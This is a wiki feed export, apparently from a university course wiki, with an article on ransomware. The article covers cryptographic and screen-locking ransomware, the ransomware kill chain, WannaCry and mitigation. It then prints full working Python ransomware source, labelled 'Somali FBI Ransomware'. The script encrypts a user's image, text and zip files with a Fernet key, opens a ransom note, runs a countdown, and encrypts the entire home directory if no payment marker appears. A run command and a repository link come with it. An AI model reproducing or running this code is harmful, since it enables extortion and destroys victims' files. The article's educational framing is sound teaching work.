		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5318</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5318"/>
		<updated>2020-12-20T18:08:15Z</updated>

		<summary type="html">&lt;p&gt;MChintu: A theretical and practical approach to understand Cryptographic and Non Cryptographic Ransomware.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://github.com/Mwape1997/AKITS_Ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 ransom.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;keyfile&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30)&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to keyfile must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(keyfile)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
          # ransom.tick()&lt;br /&gt;
          # ransom.canvas.after(1, ransom.tick())&lt;br /&gt;
          # ransom.root2.mainloop()&lt;br /&gt;
&lt;br /&gt;
          # ransom.generateKey()&lt;br /&gt;
&lt;br /&gt;
  # python3 ransom.py --action encrypt&lt;br /&gt;
  # python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture4.png&amp;diff=5317</id>
		<title>File:Picture4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture4.png&amp;diff=5317"/>
		<updated>2020-12-20T17:22:24Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture3.png&amp;diff=5316</id>
		<title>File:Picture3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture3.png&amp;diff=5316"/>
		<updated>2020-12-20T17:22:10Z</updated>

		<summary type="html">&lt;p&gt;MChintu: MChintu uploaded a new version of File:Picture3.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture3.png&amp;diff=5315</id>
		<title>File:Picture3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture3.png&amp;diff=5315"/>
		<updated>2020-12-20T17:21:24Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture2.png&amp;diff=5281</id>
		<title>File:Picture2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture2.png&amp;diff=5281"/>
		<updated>2020-12-20T14:23:59Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture1.png&amp;diff=5226</id>
		<title>File:Picture1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Picture1.png&amp;diff=5226"/>
		<updated>2020-12-20T02:39:52Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
</feed>